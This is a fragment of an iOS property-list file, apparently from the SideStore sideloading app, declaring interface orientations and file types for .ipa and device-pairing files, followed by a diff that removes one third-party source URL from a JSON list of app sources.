<key>UIStatusBarTintParameters</key>
<dict>
<key>UINavigationBar</key>
<dict>
<key>Style</key>
<string>UIBarStyleDefault</string>
<key>Translucent</key>
<false/>
</dict>
</dict>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>public.data</string>
</array>
<key>UTTypeDescription</key>
<string>iOS App</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.apple.itunes.ipa</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<string>ipa</string>
</dict>
</dict>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>com.apple.plist</string>
</array>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<array>
<string>mobiledevicepairing</string>
</array>
</dict>
</dict>
</array>
</dict>
</plist>

View File

@@ -43,10 +43,6 @@
{
"identifier": "com.litritt.litsource",
"sourceURL": "https://altstore.ignitedemulator.com/"
},
{
"identifier": "thatstel.la.altsource",
"sourceURL": "https://alt.thatstel.la/"
}
]
}